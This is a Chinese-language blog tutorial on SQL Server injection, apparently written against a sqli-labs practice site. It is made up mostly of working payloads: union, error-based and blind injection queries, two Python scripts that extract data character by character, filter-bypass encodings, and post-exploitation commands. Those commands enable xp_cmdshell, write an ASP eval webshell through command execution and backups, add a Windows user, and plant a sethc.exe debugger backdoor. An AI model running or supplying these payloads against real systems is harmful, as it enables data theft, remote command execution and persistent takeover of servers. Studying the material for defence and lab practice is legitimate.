从0学习sql server注入

一,基本语法:

1.信息收集:

用户:

当前用户名:

select user

用户权限:

服务器级别:

select IS_SRVROLEMEMBER('sysadmin')

数据库级别:

select IS_MEMBER('db_owner')

2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service

系统:

当前数据库名:

select db_name()

数据库版本:

select @@version

计算机名:

select host_name()

当前数据库所在计算机名:

select @@servername

判断战库分离:

select host_name()=@@servername

命令:

是否支持xpcmdshell

select count(*) from master.dbo.sysobjects where xtype = 'x' and name =  'xp_cmdshell'

返回1就代表存在xp_cmdshell

2.获取数据:

获取库名:

select db_name()

获取所有数据库名:

select name from master.dbo.sysdatabases;

获取表名:

select name from test.dbo.sysobjects

sysobjects表是SQL Server的系统表,记录了数据库内创建的每一个对象

sysobjects表结构:

如果直接使用select name from test.dbo.sysobjects,就会造成将一些无用的数据也回显出来,因此我们需要使用xtype来筛选满足条件的对象

以下是未筛选的回显内容

select name from test.dbo.sysobjects where xtype = 'u'

以下是我们使用where筛选后的内容

当然在实际利用中一般回显一回显一行数据,因此需要使用top来限定只反显1行内容

select top 1 name from test.dbo.sysobjects where xtype = 'u'

那该如何获取下一个表名呢?

select top 1 name from test.dbo.sysobjects where xtype = 'u' and name  !='emails'

我想你会想,如果是我要获取第10个表名的话岂不是需要写9个条件判断语句,那样也太繁琐了吧

因此我们可以直接利用sql语法,not in(‘xxxx’)

select top 1 name from test.dbo.sysobjects where xtype = 'u' and name  not in('emails','uagents')

获取字段名:

数据库表syscolumns 各个字段含义:

每个数据库创建后都会有一些系统表用来存储该数据库的一些基本信息

每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。

select * from test.dbo.syscolumns

如果不进行筛选的话,会有许多有关数据库配置等无关的字段出现

在mssql中每一张表都有直接的id,因此我们可以sysobjects来查询到我们想要的表的id,进而达到筛选的目的

select name from test.dbo.syscolumns where id=(select id from  test.dbo.sysobjects where name = 'users') and name<>'id'

在实际情况下,如果我们要爆的数据是在web应用所使用的表时,可以省略test.dbo.

当然如果只能回显一行的话依然需要使用top

爆数据:

select top 1 username+':'+ password from test.dbo.users

爆数据payload总结:

库名:select name from master.dbo.sysdatabases;表名:select top 1 name from test.dbo.sysobjects where xtype = 'u' and name  not in('emails','uagents');列名:select name from syscolumns where id=(select id from sysobjects where  name = 'users') and name<>'id'数据:select top 1 username+':'+ password from test.dbo.users

二,利用方式

1.union注入:

查看字段数:

order by 3

原理:

如果字段数超过输出的字段数就会报错,通过报错来确定有几个字段

下面以mssql sqli labs为例:

判断出有3个字段

查看回显位置:

union select 1,2,3

可以判断有回显的字段未2,3字段

爆库名:

union select 1,(select db_name()),3--+

爆表名:

union all select 1,(select top 1 name from test.dbo.sysobjects where xtype = 'U'),3--+

union all select 1,(select top 1 name from test.dbo.sysobjects where xtype='U' and name not in ('emalis')),3--+

爆列名:

union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = 'users') and name<>'id'),3--+

union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = 'users' ) and name not in('id','username')),3--+

爆数据:

union select 1,2,(select top 1 username%2B':'%2Bpassword from test.dbo.users)--+如果要直接使用+号需要进行url编码%2B,不然会被解析为空格,--+中的+就是空格

2.报错注入:

报错注入分为三类:

隐式转换,和显示转换,declare函数

隐式转换:

原理:将不同数据类型的数据进行转换或对比select * from test.dbo.users where (select user)>0  #对比select * from test.dbo.users where ((select user)/1)=1 #运算

显示转换:

原理:依靠:CAST,DECLARE和CONVERT函数进行数据类型转,当如果转化的是有关查询语句的结果,那么就会触发报错,但注意只能爆一个字符串select 'naihe567' as name,'567' as num)as  b#这里我们使用了select 创建了一个自定义的临时表方便观察select cast((select name from (select 'naihe567' as name,'567' as num)as  b) as int) #cast函数select convert(int,(select name from (select 'naihe567' as name,'567' as  num)as b)) #convert函数declare @s varchar(2000) set @s='select naihe567' exec(@s) #declare

后面的爆数据我在这里就不在重复了,也免得浪费读者时间

3.盲注

布尔盲注(有回显):

1.爆破数据库名:

ascii(substring(db_name(),1,1))=95#使用substring将字符串分解,对比ascii码

2.爆破表名:

1=(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))<95)#通过条件筛选,并使用count来回去返回的行数,如果为1就说明存在,及正确

3.爆破字段名:

ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where  table_name='users'),1,1))<95#通过对比ascii码

4.爆破数据:

ascii(substring((select top 1 username from users),1,1))<95

附带一个简单的脚本

importrequestsfrom timeimporttimeurl='http://192.168.0.105/less-1.asp'result=''fornuminrange(1,100):#取32-128的ascii码    pointer = 1    min=32    max=128    #num为当前的爆破的字符位置    #pointer为正在使用的ascii    while 1:        pointer=min+(max-min)//2        if min==pointer:            if pointer == 127 or pointer == 0:                exit()            result += chr(pointer)            print(result)            break        # 爆表名        #payload = f"?id=1' and ascii(substring((select top 1 name from master.dbo.sysdatabases),{num},1)) < {pointer}--+".format(        #num, pointer)        # 爆表名        # payload = f"?id=1' and 1=(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,{num},1))<{pointer})--+".format(        #    num, pointer)        # 爆表名        payload = f"?id=1' and ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where  table_name='users'),{num},1))<{pointer}--+".format(            num, pointer)        result_html=requests.get(url=url+payload).text        # print(result_html)        if r"Your Login name" in result_html:            max=pointer        else :            min=pointer

时间盲注(无回显):

使用WAITFOR DELAY进行延迟

;if (ascii(substring(db_name(),2,1)))=101 WAITFOR DELAY '0:0:5'#这里利用并不能像mysql一样在where语句后添加if语句,而是只能利用堆叠注入添加一个if语句来执行延迟操作和布尔盲注基本一样,在这里直接上脚本:

importrequestsimport timeurl='http://192.168.0.105/less-1.asp'result=''fornum inrange(1,100):#取32-128的ascii码    pointer=1min=32max=128#num为当前的爆破的字符位置    #pointer为正在使用的asciiwhile1:pointer=min+(max-min)//2        if min==pointer:            if pointer == 127 or pointer == 0:                exit()            result += chr(pointer)            print(result)            break        # 爆表名        payload = f"?id=1';if(ascii(substring((select top 1 name from master.dbo.sysdatabases),{num},1))) < {pointer} WAITFOR DELAY '0:0:1'--+".format(        num, pointer)        # 爆表名        # payload = f"?id=1' if(1)=(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,{num},1))<{pointer}) WAITFOR DELAY '0:0:1'--+".format(        #    num, pointer)        # 爆表名        # payload = f"?id=1';if(ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where  table_name='users'),{num},1)))<{pointer} WAITFOR DELAY '0:0:1'--+".format(        #    num, pointer)        result_html=requests.get(url=url+payload).text        # print(url+payload)        # print(result_html)        try:            r = requests.get(url=url+payload,timeout=0.5)            min = pointer        except:            max = pointer        time.sleep(0.2)    time.sleep(1)

值得注意的是,盲注其实也可以使用like加通配符进行注入,但是如果使用ascii,可以使用二分法减少运算量,因此like的方法我们就不在重复,浪费大家的时间了,推荐使用二分法

三,绕过:

1.垃圾数据:

注释:

单行注释:利用单行注释将多行注释注释掉然后利用换行符换行 多行注释: /*xxxx*/,xxxx可以是符合数字和字符(这非常关键),但没有mysql中的/*!xx*/这种用法

单行:

![在这里插入图片描述](https://img-blog.csdnimg.cn/e8755410769542a5b441869aa510b144.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57qi6ZifIOiTneWGmw==,size_11,color_FFFFFF,t_70,g_se,x_16)

但在web传参时需要进行url编码:

select --/*%0a'naihe567'%0a--*/

多行:

这里是mssql的

下面是mysql的

运算符:

运算符一般是配合报错注入使用

select * from test.dbo.users where ++++-+-~~1=(select user)#原理是使用特殊运算只会改变值并不会改变数据类型,-+^*|&都可以使用

2.编码:

编码主要是利用十六进制和ascii码

users表内容如下:

十六进制:

select * from test.dbo.users where username=0x44756d6d79Dummy的十六进制为0x44756d6d79

ascii码:

select * from test.dbo.users where username =  char(100)+char(117)+char(109)+char(109)+CHAR(121)#使用char函数

3.回调:

使用declear与exec函数

declear会创建一个局部变量,在使用exec执行变量中的内容

declare @s varchar(2000) set @s=0x73656c656374206e61696865353637  exec(@s)#declear与exec其实是属于报错注入范畴,但是它可以将一个完成的sql语句进行编码执行#0x73656c656374206e61696865353637 解码后就是 select naihe567declare @s varchar(2000) set  @s=CHAR(115)+CHAR(101)+CHAR(108)+CHAR(101)+CHAR(99)+CHAR(116)+CHAR(32)+...+CHAR(39) exec(@s)#ascii也可以

4.替换:

利用其他空白符替换空格:

%20 %09 %0a %0b %0c %0d

利用[],()替换空格:

select(username)from[test].[dbo].[users]

四,写shell:

1.xp_cmdshell:

查看能否使用xpcmd_shell;

select count(*) from master.dbo.sysobjects where xtype = 'x' and name =  'xp_cmdshell'

直接使用xpcmd_shell执行命令:

EXEC master.dbo.xp_cmdshell 'whoami'

发现居然无法使用

查看是否存在xp_cmdshell:

EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

到现在我们知道了,这台mssql支持xp_cmdshell,但没有开启

开启xp_cmdshell:

启用:EXEC sp_configure 'show advanced options', 1RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;关闭:exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 0;reconfigure;

执行命令:

EXEC master.dbo.xp_cmdshell 'whoami'

可以看到这里已经有了system权限

主要找到web路径就可以使用cmd目录创建文件,获取web路径在后面有讲解

exec master..xp_cmdshell 'echo ^<%@ Page  Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >  c:\\666.asp';

注意:

如果xp_cmdshell被删除了,需要自己上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc ‘xp_cmdshell’,‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’

虽然是写shell,但是xp_cmdshell更多的是用来提权,具体原因其实思考一下就明白了。。。。(我都能上传东西了,我还写什么webshell啊。。。)

2.差异备份:

生成备份文件:

backup database test to disk = 'c:\bak.bak';--

创建表:

create table [dbo].[test] ([cmd] [image]);

插入一句话:

insert into test(cmd)  values(0x3C25657865637574652872657175657374282261222929253E)

再次备份:

backup database test to disk='C:\567.asp' WITH DIFFERENTIAL,FORMAT;--

就会生成一个asp一句话

3.LOG备份:

1. alter database test set RECOVERY FULL2. create table cmd (a image)3. backup log test to disk = 'c:\test' with init4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)5. backup log test to disk = 'c:\test\2.asp'#LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式

4.路径获取

由于要写webshell,那么必须知道web的路径

1.通过报错获取网站路径

2.使用xp_dirtree获取目录信息:

![在这里插入图片描述](https://img-blog.csdnimg.cn/fc300dfff1584a4e8497a17425360eea.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57qi6ZifIOiTneWGmw==,size_17,color_FFFFFF,t_70,g_se,x_16)

3.通过xpcmd_shell:

exec master..xp_cmdshell 'for /r c:\ %i in (i*.aspx) do @echo %i'

回显问题:

看到这里,可能有很多小伙伴会不耐烦的说,这是我在软件上执行的sql命令,并非真实注入,该如何回显出信息

其实我们观察这些payload就可以发现,这些命令并非查询语句,并不能与普通的sql语句在一个语句中,

因此想要回显就必须满足,服务器支持堆叠注入

接下来我们的思路就是创建一张临时表来接收命令执行返回的内容,然后我们在通过查临时表来获取数据

创建临时表:

CREATE TABLE tmpTable (tmp1 varchar(8000));

将数据存入表中:

insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig'

获取数据:

select * from tmpTable

后面就是常规爆数据了

五,提权:

1.xp_cmdshell提权:

xp_cmdshell在前面写webshell已经讲解过了,在这里不在重复

2.sp_oacreate提权:

启用:EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;关闭:EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE WITH OVERRIDE;

执行:declare @shell int exec sp_oacreate 'wscript.shell',@shell outputexec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

3.沙盒提权:

1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

沙盒模式SandBoxMode参数含义(默认是2)

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

执行命令:

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user naihe QWE123. /add )');

4.public

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com

@enabled = 1,

@description = 'This will give a low privileged user access to

xp_cmdshell',

@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',

@step_name = 'Exec my sql',

@subsystem = 'TSQL',

@command = 'exec master..xp_execresultset N''select ''''exec

master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',

@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

5.xp_regwrite

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution

Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,284评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,115评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,614评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,671评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,699评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,562评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,309评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,223评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,668评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,859评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,981评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,705评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,310评论 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,904评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,023评论 1 270
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,146评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,933评论 2 355

推荐阅读更多精彩内容

  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 5,596评论 0 1
  • MsSQL数据库高级查询所带来的注入威胁 MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,...
    Admin3K阅读 1,781评论 2 2
  • 1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3....
    钦玄阅读 1,228评论 0 5
  • 什么是SQL 注入速查表? SQL 注入速查表是可以为你提供关于不同种类SQL 注入漏洞的详细信息的一个资源。这份...
    nayli阅读 1,149评论 0 5
  • 姓名:于川皓 学号:16140210089 转载自:https://baike.baidu.com/item/sq...
    道无涯_cc76阅读 1,949评论 0 2